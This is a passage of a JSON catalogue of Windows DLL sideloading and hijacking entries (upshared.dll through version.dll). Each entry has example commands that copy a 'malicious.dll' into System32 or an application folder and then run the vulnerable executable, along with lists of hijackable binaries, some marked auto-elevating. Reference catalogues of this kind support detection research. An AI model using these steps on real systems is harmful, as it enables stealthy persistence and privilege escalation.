    "_body": "\nexamples:\n  - description: \"Place malicious upshared.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\upshared.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\musnotification.exe\\\"\"\n\n# upshared.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\musnotification.exe (Sideloading)\n- %SYSTEM32%\\musnotificationux.exe (Sideloading)\n- %SYSTEM32%\\musnotifyicon.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-upshared.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "upshared.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "upshared.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-upshared",
    "name": "upshared.dll",
    "namespace": "windows:dllhijack:upshared",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/upshared.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious urlmon.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\urlmon.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bytecodegenerator.exe\\\"\"\n\n# urlmon.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bytecodegenerator.exe (Sideloading)\n- %SYSTEM32%\\ie4uinit.exe (Sideloading)\n- %SYSTEM32%\\ldifde.exe (Sideloading)\n- %SYSTEM32%\\presentationhost.exe (Sideloading)\n- %SYSTEM32%\\write.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-urlmon.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "urlmon.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "urlmon.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-urlmon",
    "name": "urlmon.dll",
    "namespace": "windows:dllhijack:urlmon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/urlmon.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious userenv.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\userenv.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\appidpolicyconverter.exe\\\"\"\n\n# userenv.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\appidpolicyconverter.exe (Sideloading)\n- %SYSTEM32%\\appvclient.exe (Sideloading)\n- %SYSTEM32%\\appvshnotify.exe (Sideloading)\n- %SYSTEM32%\\bdeuisrv.exe (Sideloading)\n- %SYSTEM32%\\colorcpl.exe (Sideloading)\n- %SYSTEM32%\\customshellhost.exe (Sideloading)\n- %SYSTEM32%\\dccw.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\dmomacpmo.exe (Sideloading)\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\gpupdate.exe (Sideloading)\n- %SYSTEM32%\\mdmappinstaller.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\microsoftedgebchost.exe (Sideloading)\n- %SYSTEM32%\\microsoftedgecp.exe (Sideloading)\n- %SYSTEM32%\\microsoftedgesh.exe (Sideloading)\n- %SYSTEM32%\\mrt.exe (Sideloading)\n- %SYSTEM32%\\msra.exe (Sideloading)\n- %SYSTEM32%\\musnotification.exe (Sideloading)\n- %SYSTEM32%\\musnotificationux.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\proquota.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n- %SYSTEM32%\\runexehelper.exe (Sideloading)\n- %SYSTEM32%\\securityhealthservice.exe (Sideloading)\n- %SYSTEM32%\\settingsynchost.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\tttracer.exe (Sideloading)\n- %SYSTEM32%\\utcdecoderhost.exe (Sideloading)\n- %SYSTEM32%\\vaultcmd.exe (Sideloading)\n- %SYSTEM32%\\workfolders.exe (Sideloading)\n- %SYSTEM32%\\wpcmon.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-userenv.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "userenv.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "userenv.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-userenv",
    "name": "userenv.dll",
    "namespace": "windows:dllhijack:userenv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/userenv.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious utildll.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\utildll.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\change.exe\\\"\"\n\n# utildll.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\change.exe (Sideloading)\n- %SYSTEM32%\\chglogon.exe (Sideloading)\n- %SYSTEM32%\\chgport.exe (Sideloading)\n- %SYSTEM32%\\query.exe (Sideloading)\n- %SYSTEM32%\\quser.exe (Sideloading)\n- %SYSTEM32%\\qprocess.exe (Sideloading)\n- %SYSTEM32%\\qwinsta.exe (Sideloading)\n- %SYSTEM32%\\reset.exe (Sideloading)\n- %SYSTEM32%\\rwinsta.exe (Sideloading)\n- %SYSTEM32%\\tscon.exe (Sideloading)\n- %SYSTEM32%\\tskill.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-utildll.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "utildll.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "utildll.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-utildll",
    "name": "utildll.dll",
    "namespace": "windows:dllhijack:utildll",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/utildll.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious utiluniclient.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\utiluniclient.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\trend micro\\\\amsp\\\\coreserviceshell.exe\\\"\"\n\n# utiluniclient.dll\n\n**Vendor:** Trend Micro\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\trend micro\\amsp\\coreserviceshell.exe (Phantom) [PrivEsc]\n",
    "_source": "windows-dllhijack-utiluniclient.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "utiluniclient.dll — Phantom hijacking (Trend Micro)",
    "execution": {
      "template": "utiluniclient.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote",
      "requires-root"
    ],
    "id": "windows-dllhijack-utiluniclient",
    "name": "utiluniclient.dll",
    "namespace": "windows:dllhijack:utiluniclient",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://safebreach.com/blog/2019/trend-micro-security-16-dll-search-order-hijacking-and-potential-abuses/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/utiluniclient.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious uxcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\windows live\\\\installer\\\\uxcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\windows live\\\\installer\\\\Dashboard.exe\\\"\"\n\n# uxcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\windows live\\installer\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\windows live\\installer\\Dashboard.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-uxcore.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "uxcore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "uxcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-uxcore",
    "name": "uxcore.dll",
    "namespace": "windows:dllhijack:uxcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/016468b087cdbe5123189b68965cb65dc95ba1a59fc3ed32144b92d1274d13b6/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/23c3fec8dc60c06caadecb31e2d770212e70faf0de866cb5878622f077d4fe2a"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/uxcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious uxinit.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\uxinit.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\winlogon.exe\\\"\"\n\n# uxinit.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\winlogon.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-uxinit.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "uxinit.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "uxinit.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-uxinit",
    "name": "uxinit.dll",
    "namespace": "windows:dllhijack:uxinit",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/uxinit.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious uxtheme.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\uxtheme.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\atbroker.exe\\\"\"\n\n# uxtheme.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\atbroker.exe (Sideloading)\n- %SYSTEM32%\\cloudnotifications.exe (Sideloading)\n- %SYSTEM32%\\cttune.exe (Sideloading)\n- %SYSTEM32%\\displayswitch.exe (Sideloading)\n- %SYSTEM32%\\ehstorauthn.exe (Sideloading)\n- %SYSTEM32%\\filehistory.exe (Sideloading)\n- %SYSTEM32%\\gamepanel.exe (Sideloading)\n- %SYSTEM32%\\isoburn.exe (Sideloading)\n- %SYSTEM32%\\mblctr.exe (Sideloading)\n- %SYSTEM32%\\mmc.exe (Sideloading)\n- %SYSTEM32%\\msdt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\msra.exe (Sideloading)\n- %SYSTEM32%\\musnotifyicon.exe (Sideloading)\n- %SYSTEM32%\\passwordonwakesettingflyout.exe (Sideloading)\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n- %SYSTEM32%\\recoverydrive.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\sethc.exe (Sideloading)\n- %SYSTEM32%\\sndvol.exe (Sideloading)\n- %SYSTEM32%\\snippingtool.exe (Sideloading)\n- %SYSTEM32%\\taskmgr.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\wfs.exe (Sideloading)\n- %SYSTEM32%\\wiaacmgr.exe (Sideloading)\n- %SYSTEM32%\\wiawow64.exe (Sideloading)\n- %SYSTEM32%\\wmpdmc.exe (Sideloading)\n- %PROGRAMFILES%\\KeePass Password Safe 2\\KeePass.exe (Search Order)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Skrix\n",
    "_source": "windows-dllhijack-uxtheme.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "uxtheme.dll — Sideloading, Search Order hijacking (Microsoft)",
    "execution": {
      "template": "uxtheme.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-uxtheme",
    "name": "uxtheme.dll",
    "namespace": "windows:dllhijack:uxtheme",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://skr1x.github.io/keepass-dll-hijacking/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/uxtheme.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious vaultcli.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\vaultcli.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cipher.exe\\\"\"\n\n# vaultcli.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cipher.exe (Sideloading)\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n- %SYSTEM32%\\vaultcmd.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-vaultcli.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vaultcli.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "vaultcli.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-vaultcli",
    "name": "vaultcli.dll",
    "namespace": "windows:dllhijack:vaultcli",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vaultcli.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious vboxrt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Oracle\\\\VirtualBox\\\\vboxrt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Oracle\\\\VirtualBox\\\\VBoxSVC.exe\\\"\"\n\n# vboxrt.dll\n\n**Vendor:** Oracle\n\n**Expected Location:** %PROGRAMFILES%\\Oracle\\VirtualBox\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Oracle\\VirtualBox\\VBoxSVC.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-vboxrt.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vboxrt.dll — Sideloading hijacking (Oracle)",
    "execution": {
      "template": "vboxrt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-vboxrt",
    "name": "vboxrt.dll",
    "namespace": "windows:dllhijack:vboxrt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/cf801023465679ec34084bdb1adb9f54b2fc3130925a4b8fdc10b11639b4a7cd"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vboxrt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious vcomp100.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\vcomp100.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Adobe\\\\Adobe Photoshop %VERSION%\\\\convert.exe\\\"\"\n\n# vcomp100.dll\n\n**Vendor:** Adobe\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Adobe\\Adobe Photoshop %VERSION%\\convert.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-vcomp100.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vcomp100.dll — Sideloading hijacking (Adobe)",
    "execution": {
      "template": "vcomp100.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-vcomp100",
    "name": "vcomp100.dll",
    "namespace": "windows:dllhijack:vcomp100",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/0ab581841cc19922d424dbc518d279070ea75ec2983334ba1b74c16ca5729bc1/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/5a5e1142b50096e3af0f9079c45c84f8a6ca1be60e45dbc489327a2632d73fd5/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vcomp100.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious vcruntime140.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\vcruntime140.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft SQL Server\\\\%VERSION%\\\\Shared\\\\sqlwriter.exe\\\"\"\n\n# vcruntime140.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft SQL Server\\%VERSION%\\Shared\\sqlwriter.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft SQL Server\\%VERSION%\\Shared\\SqlDumper.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-vcruntime140.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vcruntime140.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "vcruntime140.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-vcruntime140",
    "name": "vcruntime140.dll",
    "namespace": "windows:dllhijack:vcruntime140",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.zscaler.com/blogs/security-research/european-diplomats-targeted-apt29-cozy-bear-wineloader"
      },
      {
        "label": "Reference",
        "url": "https://cloud.google.com/blog/topics/threat-intelligence/apt29-wineloader-german-political-parties"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vcruntime140.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious vdsutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\vdsutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\vdsldr.exe\\\"\"\n\n# vdsutil.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\vdsldr.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-vdsutil.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vdsutil.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "vdsutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-vdsutil",
    "name": "vdsutil.dll",
    "namespace": "windows:dllhijack:vdsutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vdsutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious vender.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\ASUS\\\\GPU TweakII\\\\vender.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\ASUS\\\\GPU TweakII\\\\ASUSGPUFanService.exe\\\"\"\n\n# vender.dll\n\n**Vendor:** Asus\n\n**Expected Location:** %PROGRAMFILES%\\ASUS\\GPU TweakII\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\ASUS\\GPU TweakII\\ASUSGPUFanService.exe (Sideloading)\n",
    "_source": "windows-dllhijack-vender.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "vender.dll — Sideloading hijacking (Asus)",
    "execution": {
      "template": "vender.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-vender",
    "name": "vender.dll",
    "namespace": "windows:dllhijack:vender",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/vender.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious version.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\version.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\agentservice.exe\\\"\"\n\n# version.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\agentservice.exe (Sideloading)\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\choice.exe (Sideloading)\n- %SYSTEM32%\\clip.exe (Sideloading)\n- %SYSTEM32%\\cmstp.exe (Sideloading)\n- %SYSTEM32%\\cofire.exe (Sideloading)\n- %SYSTEM32%\\cscript.exe (Sideloading)\n- %SYSTEM32%\\diskpart.exe (Sideloading)\n- %SYSTEM32%\\diskraid.exe (Sideloading)\n- %SYSTEM32%\\dism.exe (Sideloading)\n- %SYSTEM32%\\driverquery.exe (Sideloading)\n- %SYSTEM32%\\forfiles.exe (Sideloading)\n- %SYSTEM32%\\fxssvc.exe (Sideloading)\n- %SYSTEM32%\\ie4ushowie.exe (Sideloading)\n- %SYSTEM32%\\iexpress.exe (Sideloading)\n- %SYSTEM32%\\msconfig.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\openfiles.exe (Sideloading)\n- %SYSTEM32%\\presentationhost.exe (Sideloading)\n- %SYSTEM32%\\psr.exe (Sideloading)\n- %SYSTEM32%\\RelPost.exe (Sideloading)\n- %SYSTEM32%\\sfc.exe (Sideloading)\n- %SYSTEM32%\\sigverif.exe (Sideloading)\n- %SYSTEM32%\\systeminfo.exe (Sideloading)\n- %SYSTEM32%\\taskkill.exe (Sideloading)\n- %SYSTEM32%\\tasklist.exe (Sideloading)\n- %SYSTEM32%\\timeout.exe (Sideloading)\n- %SYSTEM32%\\unregmp2.exe (Sideloading)\n- %SYSTEM32%\\verifiergui.exe (Sideloading)\n- %SYSTEM32%\\vsgraphicsdesktopengine.exe (Sideloading)\n- %SYSTEM32%\\waitfor.exe (Sideloading)\n- %SYSTEM32%\\wextract.exe (Sideloading)\n- %SYSTEM32%\\where.exe (Sideloading)\n- %SYSTEM32%\\whoami.exe (Sideloading)\n- %SYSTEM32%\\winsat.exe (Sideloading)\n- %SYSTEM32%\\wscript.exe (Sideloading)\n- %APPDATA%\\Zoom\\bin\\Zoom.exe (Sideloading)\n- %SYSTEM32%\\icardagt.exe (Sideloading)\n- %LOCALAPPDATA%\\Microsoft\\OneDrive\\%VERSION%\\Microsoft.SharePoint.exe (Sideloading)\n- %PROGRAMFILES%\\IObit\\IObit Unlocker\\IObitUnlocker.exe (Sideloading)\n- %PROGRAMFILES%\\CCleaner\\CCleanerBugReport.exe (Sideloading)\n- %PROGRAMFILES%\\Cisco Spark\\CiscoCollabHost.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** an0n\n\n**Acknowledgement:** Josh Allman\n",
    "_source": "windows-dllhijack-version.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "version.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "version.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-version",
    "name": "version.dll",
    "namespace": "windows:dllhijack:version",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/an0n_r0/status/1544472352657915904"
      },
      {
        "label": "Reference",
